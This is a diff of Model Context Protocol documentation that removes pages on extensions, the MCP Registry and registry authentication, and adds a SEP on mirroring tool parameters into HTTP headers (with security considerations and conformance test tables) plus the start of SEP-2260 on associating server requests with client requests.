needed for constructing header names from nested properties -# MCP Extensions +### Placement Within JSON Schema -MCP extensions are optional additions to the specification that define capabilities beyond the core protocol. Extensions enable functionality that may be modular (e.g., distinct features like authentication), specialized (e.g., industry-specific logic), or experimental (e.g., features being incubated for potential core inclusion). +The `x-mcp-header` extension is placed directly within the JSON Schema of the property to be mirrored, rather than in a separate metadata field outside the schema. This design choice offers several advantages: -Extensions are identified using a unique *extension identifier* with the format: `{vendor-prefix}/{extension-name}`, e.g. `io.modelcontextprotocol/oauth-client-credentials`. Official extensions use the `io.modelcontextprotocol` vendor prefix. +1. **Co-location**: The header mapping is defined alongside the property it affects, making it immediately clear which parameter will be mirrored. Developers don't need to cross-reference between the schema and a separate metadata structure. -## Official Extension Repositories +2. **Established pattern**: JSON Schema explicitly supports extension keywords (properties starting with `x-`), and this pattern is widely used in ecosystems like OpenAPI. Tool authors and SDK developers are already familiar with this approach. -Official extensions live inside the [MCP GitHub org](https://github.com/modelcontextprotocol/) in repositories with the `ext-` prefix. +3. **Schema composability**: When schemas are composed, extended, or referenced using `$ref`, the `x-mcp-header` annotation travels with the property definition. A separate metadata structure would require complex synchronization logic to maintain consistency. -### ext-auth +4. **Tooling compatibility**: Existing JSON Schema validators ignore unknown keywords by default, so adding `x-mcp-header` doesn't break existing schema validation. Tools that don't understand this extension simply skip it. -**Repository:** [github.com/modelcontextprotocol/ext-auth](https://github.com/modelcontextprotocol/ext-auth) +5. **Reduced complexity**: A separate metadata structure would require defining a mapping mechanism (e.g., JSON Pointer or property paths) to associate headers with properties, adding implementation complexity and potential for errors. -Extensions for supplementary authorization mechanisms beyond the core specification. +### Scope: Tools Only -| Extension | Description | Specification | -| -------------------------------- | -------------------------------------------------------------------------- | --------------------------------------------------------------------------------------------------------------------------- | -| OAuth Client Credentials | OAuth 2.0 client credentials flow for machine-to-machine authentication | [Link](https://github.com/modelcontextprotocol/ext-auth/blob/main/specification/draft/oauth-client-credentials.mdx) | -| Enterprise-Managed Authorization | Framework for enterprise environments requiring centralized access control | [Link](https://github.com/modelcontextprotocol/ext-auth/blob/main/specification/draft/enterprise-managed-authorization.mdx) | +The `x-mcp-header` mechanism currently applies only to `tools/call` requests because tools are the only MCP primitive with an `inputSchema` that supports JSON Schema extension keywords. Resources and prompts lack an equivalent schema structure: `resources/read` takes only a `uri` (already exposed via `Mcp-Name`), and `prompts/get` defines arguments as a simple `{name, description, required}` array without JSON Schema extensibility. Generalizing custom header mapping to these primitives would require adding `inputSchema`-style definitions to resources and prompts, which is a larger specification change. This is noted as a potential future extension. -### ext-apps +### No Specification-Level Header Size Limit -**Repository:** [github.com/modelcontextprotocol/ext-apps](https://github.com/modelcontextprotocol/ext-apps) +This specification intentionally does not define limits on individual header value length, total MCP header size, or number of custom headers. Headers are solely an HTTP concept, and HTTP itself ([RFC 9110](https://datatracker.ietf.org/doc/html/rfc9110)) does not specify header size limits. Common HTTP infrastructure imposes its own limits — ranging from 4–8 KB on some servers (e.g., Apache at \~8190 bytes) to 128 KB on others (e.g., Cloudflare) — but the appropriate limit depends on the deployment environment, which only the service operator can determine. -Extensions for interactive UI elements in conversational MCP clients. +Defining a specification-level limit (such as "omit headers exceeding 8192 bytes") would introduce problems: -| Extension | Description | Specification | -| --------- | ---------------------------------------------------------------------------------------------------------------- | ----------------------------------------------------------------------------------------------- | -| MCP Apps | Allows MCP Servers to display interactive UI elements (charts, forms, video players) inline within conversations | [Link](https://github.com/modelcontextprotocol/ext-apps/blob/main/specification/draft/apps.mdx) | +1. **Arbitrary threshold**: Any chosen value would be too low for some deployments and irrelevant for others. The "right" limit varies by infrastructure. +2. **Counterproductive omission**: If a client omits a header because it exceeds a spec-defined limit, servers and intermediaries that rely on that header for routing must either parse the body or reject the request — undermining the core purpose of exposing values in headers. +3. **Unnecessary SDK burden**: SDK maintainers would need to implement and test limit-checking logic for a constraint that rarely applies in practice. +4. **Redundant with HTTP**: Servers and intermediaries already reject oversized headers using standard HTTP status codes (`413 Request Entity Too Large`, `431 Request Header Fields Too Large`), which clients must handle regardless. -## Creating Extensions +> **Note to implementers**: Servers, intermediaries, and clients MAY independently impose limits on individual header size, total MCP header size, or number of custom headers as appropriate for their deployment environment. Servers SHOULD document any limits they impose. Clients SHOULD gracefully handle `413 Request Entity Too Large` or `431 Request Header Fields Too Large` responses. Tool authors SHOULD limit `x-mcp-header` annotations to parameters that provide clear infrastructure benefits. -The lifecycle for official extensions is similar to a SEP, but delegated to extension repository maintainers: +### Encoding Approach for Unsafe Values -1. **Propose**: Author creates a SEP in the main MCP repository using the [standard SEP guidelines](/community/sep-guidelines) with type **Extensions Track**. -2. **Review**: Extension SEPs are reviewed by the relevant extension repository maintainers. -3. **Implement**: Extension SEPs **MUST** have at least one reference implementation in an official SDK before being accepted. -4. **Publish**: Once approved, the author produces a PR that introduces the extension to the extension repository. -5. **Adopt**: Approved extensions **MAY** be implemented in additional clients, servers, and SDKs. +Four approaches were considered for encoding parameter values that cannot be safely represented as plain ASCII header values (non-ASCII characters, leading/trailing whitespace, control characters): -### Requirements +1. **Sentinel wrapping (chosen approach)**: Use the `=?base64?{value}?=` prefix/suffix within the same `Mcp-Param-{Name}` header to signal Base64-encoded values. -* Extension specifications **MUST** use RFC 2119 language (MUST, SHOULD, MAY) -* Extensions **SHOULD** have an associated working group or interest group +2. **Separate header name**: Use a distinct header name for encoded values, e.g. `Mcp-ParamEncoded-{Name}`, so the encoding is indicated by the header name rather than the value format. -### SDK Implementation +3. **Implicit encoding**: Let the parser infer encoding from the tool schema, e.g. via a `"x-mcp-header-encoding": "base64"` annotation in the tool definition. -SDKs **MAY** implement extensions. Where implemented: +4. **Always encode**: Base64-encode every `Mcp-Param-{Name}` value unconditionally. -* Extensions **MUST** be disabled by default and require explicit opt-in -* SDK documentation **SHOULD** list supported extensions -* SDK maintainers have full autonomy over which extensions they support -* Extension support is not required for protocol conformance +| Approach | Pros | Cons | +| -------------------- | ---------------------------------------------------------------------------------------------------------------------------------------- | --------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | +| Sentinel wrapping | Single header name per parameter; common case (plain ASCII) is human-readable; intermediaries can route on plain values without decoding | In-band signaling can theoretically collide with literal values; every reader must check for the prefix | +| Separate header name | No in-band ambiguity; encoding is self-documenting from the header name | Doubles the header namespace; every intermediary must check two header names per parameter; needs a conflict rule if both are present | +| Implicit encoding | Simplest wire format; no sentinels or extra headers | Intermediaries need access to the tool schema to know whether to decode — defeats the purpose of exposing values in headers; static per-parameter decision doesn't handle the mixed case well | +| Always encode | Simplest rules; no conditional logic or ambiguity | Plain ASCII values become unreadable; intermediaries must decode Base64 to inspect any value, significantly undermining the core motivation of this SEP | -### Evolution +**Conclusion**: The sentinel wrapping approach provides the best trade-off. The primary use case for custom headers is enabling intermediaries to route and filter on simple, readable values like region names and tenant IDs — these are invariably plain ASCII and never trigger Base64 encoding. Option 4 makes all values opaque to intermediaries. Option 3 leaves intermediaries unable to distinguish encoded from literal values without access to the tool schema. Option 2 eliminates in-band ambiguity but doubles the header namespace, requiring intermediaries to check two possible header names per parameter and adding a conflict rule when both are present. The theoretical collision risk of the sentinel in Option 1 is negligible since `=?base64?...?=` is an unlikely literal parameter value in practice. -Extensions evolve independently of the core protocol. Updates to extensions are managed by the extension repository maintainers and do not require core maintainer review. +## Backward Compatibility -Extensions **MUST** consider backwards compatibility in their design: +### Standard Headers -* Extensions **SHOULD** maintain backwards compatibility through capability flags or versioning within the extension settings object, rather than creating a new extension identifier -* When backwards-incompatible changes are unavoidable, a new extension identifier **MUST** be used (e.g., `io.modelcontextprotocol/my-extension-v2`) +Existing clients and SDKs will be required to include the standard headers when using the new MCP version. This is a minor addition since clients already include headers like `Mcp-Protocol-Version`, adding only one or two new headers per message. +Servers implementing the new version MUST reject requests missing required headers. Servers MAY support older clients by accepting requests without headers when negotiating an older protocol version. -# The MCP Registry -Source: https://modelcontextprotocol.io/registry/about +### Custom Headers from Tool Parameters +The `x-mcp-header` extension is optional for servers. Existing tools without this property continue to work unchanged. However, clients implementing the MCP version that includes this specification MUST support the feature. Older clients that do not support `x-mcp-header` will still function but will not provide the header-based routing benefits that servers may depend on. +## Security Implications - - The MCP Registry is currently in preview. Breaking changes or data resets may occur before general availability. If you encounter any issues, please report them on [GitHub](https://github.com/modelcontextprotocol/registry/issues). - +### Header Injection -The MCP Registry is the official centralized metadata repository for publicly accessible MCP servers, backed by major trusted contributors to the MCP ecosystem such as Anthropic, GitHub, PulseMCP, and Microsoft. +Header injection attacks occur when malicious values containing control characters (especially `\r\n`) are included in headers, potentially allowing attackers to inject additional headers or terminate the header section early. -The MCP Registry provides: +Clients MUST follow the [Value Encoding](#value-encoding) rules defined in this specification. These rules ensure that: -* A single place for server creators to publish metadata about their servers -* Namespace management through DNS verification -* A REST API for MCP clients and aggregators to discover available servers -* Standardized installation and configuration information +* Control characters are never included in header values +* Non-ASCII values are safely encoded using Base64 +* Values exceeding safe length limits are omitted -Server metadata is stored in a standardized [`server.json` format](https://github.com/modelcontextprotocol/registry/blob/main/docs/reference/server-json/server.schema.json), which contains: +### Header Spoofing -* The server's unique name (e.g., `io.github.user/server-name`) -* Where to locate the server (e.g., npm package name, remote server URL) -* Execution instructions (e.g., command-line args, env vars) -* Other discovery data (e.g., description, server capabilities) +Servers MUST validate that header values match the corresponding values in the request body. This prevents clients from sending mismatched headers to manipulate routing while executing different operations. -## The MCP Registry Ecosystem +For example, a malicious client could attempt to: -The MCP Registry is part of an ecosystem that looks something like: +* Route a request to a less-secured region while executing operations intended for a high-security region +* Bypass rate limits by spoofing tenant identifiers +* Evade security policies by misrepresenting the operation being performed -The MCP Registry ecosystem +### Information Disclosure -### Relationship with Package Registries +Tool parameter values designated for headers will be visible to network intermediaries (load balancers, proxies, logging systems). Server developers: -Package registries — such as npm, PyPI, and Docker Hub — host packages with code and binaries. +* SHOULD NOT mark sensitive parameters (passwords, API keys, tokens, PII) with `x-mcp-header` +* SHOULD document which parameters are exposed as headers +* SHOULD consider that Base64 encoding provides no confidentiality—it is merely an encoding, not encryption -The MCP Registry hosts metadata that points to those packages. +### Trusting Header Values -For example, a `weather-mcp` package could be hosted on npm, and metadata in the MCP Registry could map the "weather v1.2.0" server to `npm:weather-mcp`. +Header values originate from tool call arguments, which may be influenced by an LLM or a malicious client. Intermediaries and servers MUST NOT treat these values as trusted input for security-sensitive decisions. In particular: -The [Package Types guide](./package-types.mdx) lists the supported package types and registries. More package registries may be supported in the future based on community demand. If you are interested in building support for a package registry, please [open an issue](https://github.com/modelcontextprotocol/registry). +* Header values that imply access to specific resources (e.g., tenant IDs, region names) MUST be independently verified against the authenticated user's permissions before granting access to those resources. +* Header values MUST NOT be used as the sole basis for granting elevated privileges without server-side enforcement of rate limits and quotas. +* Deployments SHOULD reject requests with oversized or excessive headers early in the pipeline — before performing Base64 decoding or body parsing — to mitigate denial-of-service risks from crafted payloads. -### Relationship with Server Developers +## Conformance Test Cases -The MCP Registry supports both open-source and closed-source servers. Server developers can publish their server's metadata to the registry as long as the server's installation method is publicly available (e.g., an npm package or a Docker image on a public registry) *or* the server itself is publicly accessible (e.g., a remote server that is not restricted to private networks). +This section defines edge cases that conformance tests MUST cover to ensure interoperability between implementations. -The MCP Registry **does not** support private servers. Private servers are those that are only accessible to a narrow set of users. For example, servers published on a private network (like `mcp.acme-corp.internal`) or on private package registries (e.g. `npx -y @acme/mcp --registry https://artifactory.acme-corp.internal/npm`). If you want to publish private servers, we recommend that you host your own private MCP registry and add them there. +### Standard Header Edge Cases -### Relationship with Downstream Aggregators +#### Case Sensitivity -The MCP Registry is intended to be consumed primarily by downstream aggregators, such as MCP server marketplaces. +| Test Case | Input | Expected Behavior | +| -------------------------- | ------------------------ | ------------------------------------------------------ | +| Header name case variation | `mcp-method: tools/call` | Server MUST accept (header names are case-insensitive) | +| Header name mixed case | `MCP-METHOD: tools/call` | Server MUST accept | +| Method value case | `Mcp-Method: TOOLS/CALL` | Server MUST reject (method values are case-sensitive) | -The metadata hosted by the MCP Registry is deliberately unopinionated. Downstream aggregators can provide curation or additional metadata such as community ratings. +#### Header/Body Mismatch -We expect that downstream aggregators will use the MCP Registry API to pull new metadata on a regular but infrequent basis (for example, once per hour). See the [MCP Registry Aggregators guide](./registry-aggregators.mdx) for more information. +| Test Case | Header Value | Body Value | Expected Behavior | +| -------------------------- | ------------------------ | --------------------------- | --------------------------------------------------- | +| Method mismatch | `Mcp-Method: tools/call` | `"method": "prompts/get"` | Server MUST reject with 400 and error code `-32001` | +| Tool name mismatch | `Mcp-Name: foo` | `"params": {"name": "bar"}` | Server MUST reject with 400 and error code `-32001` | +| Missing required header | (no `Mcp-Method`) | Valid body | Server MUST reject with 400 and error code `-32001` | +| Extra whitespace in header | `Mcp-Name: foo ` | `"params": {"name": "foo"}` | Server MUST accept (trim whitespace per HTTP spec) | -### Relationship with Other MCP Registries +#### Special Characters in Values -In addition to a public REST API, the MCP Registry defines an [OpenAPI spec](https://github.com/modelcontextprotocol/registry/blob/main/docs/reference/api/openapi.yaml) that other MCP registries can implement in order to provide a standardized interface for MCP host applications. +| Test Case | Value | Expected Behavior | +| ------------------------------- | ------------------------------------- | ---------------------------------- | +| Tool name with hyphen | `my-tool-name` | Client sends as-is; server accepts | +| Tool name with underscore | `my_tool_name` | Client sends as-is; server accepts | +| Resource URI with special chars | `file:///path/to/file%20name.txt` | Client sends as-is; server accepts | +| Resource URI with query string | `https://example.com/resource?id=123` | Client sends as-is; server accepts | -We expect that many downstream aggregators will implement this interface. Private MCP registries can implement it as well to benefit from existing host application support. +### Custom Header Edge Cases -Note that the official MCP Registry codebase is **not** designed for self-hosting, and the registry maintainers cannot provide support for this use case. If you choose to fork it, you would need to maintain and operate it independently. +#### x-mcp-header Name Conflicts -### Relationship with MCP Host Applications +| Test Case | Schema | Expected Behavior | +| --------------------------------------- | --------------------------------------------------------- | ---------------------------------------------------------------- | +| Duplicate header names (same case) | Two properties with `"x-mcp-header": "Region"` | Client MUST reject tool definition | +| Duplicate header names (different case) | `"x-mcp-header": "Region"` and `"x-mcp-header": "REGION"` | Client MUST reject tool definition (case-insensitive uniqueness) | +| Header name matches standard header | `"x-mcp-header": "Method"` | Allowed (produces `Mcp-Param-Method`, not `Mcp-Method`) | +| Empty header name | `"x-mcp-header": ""` | Client MUST reject tool definition | -The MCP Registry is not intended to be directly consumed by host applications. Instead, host applications should consume other MCP registries, such as downstream marketplaces, via a REST API conforming to the official MCP Registry's OpenAPI spec. +#### Invalid x-mcp-header Values -## Trust and Security +| Test Case | x-mcp-header Value | Expected Behavior | +| -------------------------- | ---------------------------------- | ---------------------------------- | +| Contains space | `"x-mcp-header": "My Region"` | Client MUST reject tool definition | +| Contains colon | `"x-mcp-header": "Region:Primary"` | Client MUST reject tool definition | +| Contains non-ASCII | `"x-mcp-header": "Région"` | Client MUST reject tool definition | +| Contains control character | `"x-mcp-header": "Region\t1"` | Client MUST reject tool definition | -### Verifying Server Authenticity +#### Value Encoding Edge Cases -The MCP Registry uses namespace authentication to ensure that servers come from their claimed sources. Server names follow a reverse DNS format (like `io.github.username/server` or `com.example/server`) that ties them to verified GitHub accounts or domains. +| Test Case | Parameter Value | Expected Header Value | +| ----------------------------------- | ------------------ | ----------------------------------------------- | +| Plain ASCII string | `"us-west1"` | `Mcp-Param-Region: us-west1` | +| String with leading space | `" us-west1"` | `Mcp-Param-Region: =?base64?IHVzLXdlc3Qx?=` | +| String with trailing space | `"us-west1 "` | `Mcp-Param-Region: =?base64?dXMtd2VzdDEg?=` | +| String with leading/trailing spaces | `" us-west1 "` | `Mcp-Param-Region: =?base64?IHVzLXdlc3QxIA==?=` | +| String with internal spaces only | `"us west 1"` | `Mcp-Param-Region: us west 1` | +| Boolean true | `true` | `Mcp-Param-Flag: true` | +| Boolean false | `false` | `Mcp-Param-Flag: false` | +| Integer | `42` | `Mcp-Param-Count: 42` | +| Floating point | `3.14159` | `Mcp-Param-Value: 3.14159` | +| Non-ASCII characters | `"日本語"` | `Mcp-Param-Text: =?base64?5pel5pys6Kqe?=` | +| String with newline | `"line1\nline2"` | `Mcp-Param-Text: =?base64?bGluZTEKbGluZTI=?=` | +| String with carriage return | `"line1\r\nline2"` | `Mcp-Param-Text: =?base64?bGluZTENCmxpbmUy?=` | +| String with leading tab | `"\tindented"` | `Mcp-Param-Text: =?base64?CWluZGVudGVk?=` | +| Empty string | `""` | `Mcp-Param-Name: ` (empty value) | -This namespace system ensures that only the legitimate owner of a GitHub account or domain can publish servers under that namespace, providing trust and accountability in the ecosystem. For details on authentication methods, see the [Authentication guide](./authentication.mdx). +#### Type Restriction Violations -### Security Scanning +| Test Case | Property Type | x-mcp-header Present | Expected Behavior | +| --------------- | ---------------------- | -------------------- | ---------------------------------- | +| Array type | `"type": "array"` | Yes | Server MUST reject tool definition | +| Object type | `"type": "object"` | Yes | Server MUST reject tool definition | +| Null type | `"type": "null"` | Yes | Server MUST reject tool definition | +| Nested property | Property inside object | Yes | Server MUST reject tool definition | -The MCP Registry delegates security scanning to: +### Server Validation Edge Cases -* **Underlying package registries** — npm, PyPI, Docker Hub, and other package registries perform their own security scanning and vulnerability detection. -* **Downstream aggregators** — MCP Registry aggregators and marketplaces can implement additional security checks, ratings, or curation. +#### Base64 Decoding -The MCP Registry focuses on namespace authentication and metadata hosting, while relying on the broader ecosystem for security scanning of actual server code. +| Test Case | Header Value | Expected Behavior | +| ------------------------- | ------------------------ | ------------------------------------------------------------------------------------------------- | +| Valid Base64 | `=?base64?SGVsbG8=?=` | Server decodes to `"Hello"` and validates | +| Invalid Base64 padding | `=?base64?SGVsbG8?=` | Server MUST reject with 400 and error code `-32001`; Intermediary MAY reject with 400 status code | +| Invalid Base64 characters | `=?base64?SGVs!!!bG8=?=` | Server MUST reject with 400 and error code `-32001`; Intermediary MAY reject with 400 status code | +| Missing prefix | `SGVsbG8=` | Server treats as literal value, not Base64 | +| Missing suffix | `=?base64?SGVsbG8=` | Server treats as literal value, not Base64 | +| Malformed wrapper | `=?BASE64?SGVsbG8=?=` | Server MUST accept (case-insensitive prefix) | + +#### Null and Missing Values + +| Test Case | Scenario | Expected Behavior | +| -------------------------------------- | --------------------------- | -------------------------- | +| Parameter with x-mcp-header is null | `"region": null` | Client MUST omit header | +| Parameter with x-mcp-header is missing | Parameter not in arguments | Client MUST omit header | +| Optional parameter present | Optional parameter provided | Client MUST include header | + +#### Missing Custom Header with Value in Body + +| Test Case | Header Present | Body Value | Expected Behavior | +| -------------------------------------- | --------------------- | --------------------------- | ------------------------------------------------------------------------------------------------- | +| Standard header omitted, value in body | No `Mcp-Name` | `"params": {"name": "foo"}` | Server MUST reject with 400 and error code `-32001`; Intermediary MAY reject with 400 status code | +| Custom header omitted, value in body | No `Mcp-Param-Region` | `"region": "us-west1"` | Server MUST reject with 400 and error code `-32001`; Intermediary MAY reject with 400 status code | -### Spam Prevention +## Reference Implementation -The MCP Registry uses multiple mechanisms to prevent spam: +*To be provided before this SEP reaches Final status.* -* **Namespace authentication requirements** — Publishers must verify ownership of their namespace through GitHub, DNS, or HTTP challenges, preventing arbitrary spam submissions. -* **Character limits and validation** — Free-form fields have strict character limits and regex validation to prevent abuse. -* **Manual takedown** — The registry maintainers can manually remove spam or malicious servers. See the [Moderation Policy](./moderation-policy.mdx) for details on what content is removed. +Implementation requirements: -Future spam prevention measures under consideration include stricter rate limiting, AI-based spam detection, and community reporting capabilities. +* **Server SDKs**: Provide a mechanism (attribute/decorator) for marking parameters with `x-mcp-header` +* **Client SDKs**: Implement the client behavior for extracting and encoding header values +* **Validation**: Both sides must validate header/body consistency -# How to Authenticate When Publishing to the Official MCP Registry -Source: https://modelcontextprotocol.io/registry/authentication +# SEP-2260: Require Server requests to be associated with a Client request. +Source: https://modelcontextprotocol.io/seps/2260-Require-Server-requests-to-be-associated-with-Client-requests +Require Server requests to be associated with a Client request. +
+ + Accepted + - - The MCP Registry is currently in preview. Breaking changes or data resets may occur before general availability. If you encounter any issues, please report them on [GitHub](https://github.com/modelcontextprotocol/registry/issues). - + + Standards Track + +
-You must authenticate before publishing to the official MCP Registry. The MCP Registry supports different authentication methods. Which authentication method you choose determines the namespace of your server's name. +| Field | Value | +| ------------- | ------------------------------------------------------------------------------- | +| **SEP** | 2260 | +| **Title** | Require Server requests to be associated with a Client request. | +| **Status** | Accepted | +| **Type** | Standards Track | +| **Created** | 2026-02-16 | +| **Author(s)** | MCP Transports Working Group | +| **Sponsor** | [@CaitieM20](https://github.com/CaitieM20) - Caitie McCaffrey | +| **PR** | [#2260](https://github.com/modelcontextprotocol/modelcontextprotocol/pull/2260) | -If you choose GitHub-based authentication, your server's name in `server.json` **MUST** be of the form `io.github.username/*` (or `io.github.orgname/*`). For example, `io.github.alice/weather-server`. +*** -If you choose domain-based authentication, your server's name in `server.json` **MUST** be of the form `com.example.*/*`, where `com.example` is the reverse-DNS form of your domain name. For example, `io.modelcontextprotocol/everything`. +## Abstract -| Authentication | Name Format | Example Name | -| -------------- | ----------------------------------------------- | ------------------------------------ | -| GitHub-based | `io.github.username/*` or `io.github.orgname/*` | `io.github.alice/weather-server` | -| domain-based | `com.example.*/*` | `io.modelcontextprotocol/everything` | +This SEP clarifies that `roots/list`, `sampling/createMessage`, and +`elicitation/create` requests **MUST** be associated with an originating +client-to-server request (e.g., during `tools/call`, `resources/read`, or +`prompts/get` processing). Standalone server-initiated requests of these types +outside notifications **MUST NOT** be implemented. -## GitHub Authentication +Although not enforced in the current MCP Data Layer, logically these requests +**MUST** be associated with a valid client-to-server JSON-RPC Request Id. -GitHub authentication uses an OAuth flow initiated by the `mcp-publisher` CLI tool. +The operational server-to-client **Ping** is excepted from this restriction. -To perform GitHub authentication, navigate to your server project directory and run: +## Motivation -```bash theme={null} -mcp-publisher login github -``` +### Current Specification -You should see output like: +The current specification uses **SHOULD** language in the transport layer: -```text Output theme={null} -Logging in with github... +In context of responding to a POST Request in the Streamable HTTP transport [(2025-11-25/basic/transports.mdx:121-L123)](https://github.com/modelcontextprotocol/modelcontextprotocol/blob/2025-11-25/docs/specification/2025-11-25/basic/transports.mdx?plain=1#L121-L123): -To authenticate, please: -1. Go to: https://github.com/login/device -2. Enter code: ABCD-1234 -3. Authorize this application -Waiting for authorization... -``` +> * "The server **MAY** send JSON-RPC *requests* and *notifications* before sending the JSON-RPC *response*. These messages **SHOULD** relate to the originating client *request*." -Visit the link, follow the prompts, and enter the authorization code that was printed in the terminal (e.g., `ABCD-1234` in the above output). Once complete, go back to the terminal, and you should see output like: +For the optional GET SSE Stream [(2025-11-25/basic/transports.mdx:146-L148)](https://github.com/modelcontextprotocol/modelcontextprotocol/blob/2025-11-25/docs/specification/2025-11-25/basic/transports.mdx?plain=1#L146C1-L148C32): -```text Output theme={null} -Successfully authenticated! -✓ Successfully logged in -``` +> * "The server **MAY** send JSON-RPC *requests* and *notifications* on the stream." +> * "These messages **SHOULD** be unrelated to any concurrently-running JSON-RPC *request* from the client." -## DNS Authentication +Although the GET stream allows "unsolicited" requests, its use is entirely optional and cannot be relied upon by MCP Server authors. -DNS authentication is a domain-based authentication method that relies on a DNS TXT record. +### Design Intent -To perform DNS authentication using the `mcp-publisher` CLI tool, run the following commands in your server project directory to generate a TXT record based on a public/private key pair: +The design intent of MCP Server Requests is to operate reactively **nested within** other MCP operations: - - ```bash Ed25519 theme={null} - MY_DOMAIN="example.com" +* **Sampling** enables servers to request LLM assistance while processing a tool call, resource request, or prompt +* **Elicitation** enables servers to gather additional user input needed to complete an operation +* **List Roots** enables servers to identify shared storage locations + +**Ping** has a special status as it is primarily intended as a keep-alive/health-check mechanism. - # Generate public/private key pair using Ed25519 - openssl genpkey -algorithm Ed25519 -out key.pem +For Streamable HTTP Servers this enables SSE Streams to be maintained for extended periods if no Notifications or Requests are available to be sent. For client-to-server Requests they are associable. Future transport implementations will remove the need for dissociated Pings. - # Generate TXT record - PUBLIC_KEY="$(openssl pkey -in key.pem -pubout -outform DER | tail -c 32 | base64)" - echo "${MY_DOMAIN}. IN TXT \"v=MCPv1; k=ed25519; p=${PUBLIC_KEY}\"" - ``` +The current specification already describes this pattern: - ```bash ECDSA P-384 theme={null} - MY_DOMAIN="example.com" +> "Sampling in MCP allows servers to implement agentic behaviors, by enabling LLM calls to occur *nested* inside other MCP server features." - # Generate public/private key pair using ECDSA P-384 - openssl genpkey -algorithm EC -pkeyopt ec_paramgen_curve:secp384r1 -out key.pem +However, the normative requirements don't enforce this constraint. - # Generate TXT record - PUBLIC_KEY="$(openssl ec -in key.pem -text -noout -conv_form compressed | grep -A4 "pub:" | tail -n +2 | tr -d ' :\n' | xxd -r -p | base64)" - echo "${MY_DOMAIN}. IN TXT \"v=MCPv1; k=ecdsap384; p=${PUBLIC_KEY}\"" - ``` +### Simplification Benefits - ```bash Google KMS theme={null} - MY_DOMAIN="example.com" - MY_PROJECT="myproject" - MY_KEYRING="mykeyring" - MY_KEY_NAME="mykey" +Making this constraint explicit: - # Log in using gcloud CLI (https://cloud.google.com/sdk/docs/install) - gcloud auth login +1. **Simplifies transport implementations** - Transports don't need to support arbitrary server-initiated request/response flows, which require a persistent connection from Server to Client; they only need request-scoped bidirectional communication +2. **Clarifies user experience** - Users understand that sampling/elicitation happens *because* they initiated an action, not spontaneously +3. **Reduces security surface** - Ensures client has context for what scope the additional requested information will be used for. This allows clients to make better informed decisions on whether to provide the requested info. +4. **Aligns with practice** - Based on a scan of GitHub all existing implementations already follow this pattern, except one repo owned by the SEP author with a contrived scenario. - # Set default project - gcloud config set project "${MY_PROJECT}" +## Specification Changes - # Create a keyring in your project - gcloud kms keyrings create "${MY_KEYRING}" --location global +### 1. Add Warning Blocks to Feature Documentation - # Create an Ed25519 signing key - gcloud kms keys create "${MY_KEY_NAME}" --default-algorithm=ec-sign-ed25519 --purpose=asymmetric-signing --keyring="${MY_KEYRING}" --location=global +**In `client/sampling.mdx` (after existing security warning):** - # Enable Application Default Credentials (ADC) so the publisher tool can sign - gcloud auth application-default login +```markdown theme={null} + - # Attempt login to show the public key - mcp-publisher login dns google-kms --domain="${MY_DOMAIN}" --resource="projects/${MY_PROJECT}/locations/global/keyRings/${MY_KEYRING}/cryptoKeys/${MY_KEY_NAME}/cryptoKeyVersions/1" +**Request Association Requirement** - # Copy the "Expected proof record": - # ${MY_DOMAIN}. IN TXT "v=MCPv1; k=ed25519; p=${PUBLIC_KEY}" - ``` +Servers **MUST** send `sampling/createMessage` requests only in association with an originating client request (e.g., during `tools/call`, `resources/read`, or `prompts/get` processing). - ```bash Azure Key Vault theme={null} - MY_DOMAIN="example.com" - MY_SUBSCRIPTION="subscription name or ID" - MY_RESOURCE_GROUP="MyResourceGroup" - MY_KEY_VAULT="MyKeyVault" - MY_KEY_NAME="MyKey" +Standalone server-initiated sampling on independent communication streams (unrelated to any client request) is not supported and **MUST NOT** be implemented. Future transport implementations are not required to support this pattern. - # Log in using Azure CLI (https://learn.microsoft.com/en-us/cli/azure/install-azure-cli) - az login + +``` - # Set default subscription - az account set --subscription "${MY_SUBSCRIPTION}" +**In `client/elicitation.mdx` (after existing security warning):** - # Create a resource group - az group create --location westus --resource-group "${MY_RESOURCE_GROUP}" +```markdown theme={null} + - # Create a key vault - az keyvault create --name "${MY_KEY_VAULT}" --location westus --resource-group "${MY_RESOURCE_GROUP}" +**Request Association Requirement** - # Create an ECDSA P-384 signing key - az keyvault key create --name "${MY_KEY_NAME}" --vault-name "${MY_KEY_VAULT}" --curve P-384 +Servers **MUST** send server-to-client requests (such as `roots/list`, +`sampling/createMessage`, or `elicitation/create`) only in association with an +originating client request (e.g., during `tools/call`, `resources/read`, or +`prompts/get` processing). - # Attempt login to show the public key - mcp-publisher login dns azure-key-vault --domain="${MY_DOMAIN}" --vault "${MY_KEY_VAULT}" --key "${MY_KEY_NAME}" +Standalone server-initiated requests of these types on independent +communication streams (unrelated to any client request) are not supported and +**MUST NOT** be implemented. Future transport implementations are not required +to support this pattern. - # Copy the "Expected proof record": - # ${MY_DOMAIN}. IN TXT "v=MCPv1; k=ecdsap384; p=${PUBLIC_KEY}" - ``` - + +``` -Then add the TXT record using your DNS provider's control panel. It may take several minutes for the TXT record to propagate. After the TXT record has propagated, log in using the `mcp-publisher login` command: +**In `client/roots.mdx` (in `User Interaction Model` section):** - - ```bash Ed25519 theme={null} - MY_DOMAIN="example.com" +```markdown theme={null} + - PRIVATE_KEY="$(openssl pkey -in key.pem -noout -text | grep -A3 "priv:" | tail -n +2 | tr -d ' :\n')" - mcp-publisher login dns --domain "${MY_DOMAIN}" --private-key "${PRIVATE_KEY}" - ``` +Servers **MUST** send server-to-client requests (such as `roots/list`, +`sampling/createMessage`, or `elicitation/create`) only in association with an +originating client request (e.g., during `tools/call`, `resources/read`, or +`prompts/get` processing). - ```bash ECDSA P-384 theme={null} - MY_DOMAIN="example.com" +Standalone server-initiated requests of these types on independent +communication streams (unrelated to any client request) are not supported and +**MUST NOT** be implemented. Future transport implementations are not required +to support this pattern. - PRIVATE_KEY="$(openssl ec -in key.pem -noout -text | grep -A4 "priv:" | tail -n +2 | tr -d ' :\n')" - mcp-publisher login dns --domain "${MY_DOMAIN}" --private-key "${PRIVATE_KEY}" - ``` + +``` - ```bash Google KMS theme={null} - MY_DOMAIN="example.com" - MY_PROJECT="myproject" - MY_KEYRING="mykeyring" - MY_KEY_NAME="mykey" +**In `basic/utilities/ping.mdx` (In `Overview` section):** - mcp-publisher login dns google-kms --domain="${MY_DOMAIN}" --resource="projects/${MY_PROJECT}/locations/global/keyRings/${MY_KEYRING}/cryptoKeys/${MY_KEY_NAME}/cryptoKeyVersions/1" - ``` +```markdown theme={null} + - ```bash Azure Key Vault theme={null} - 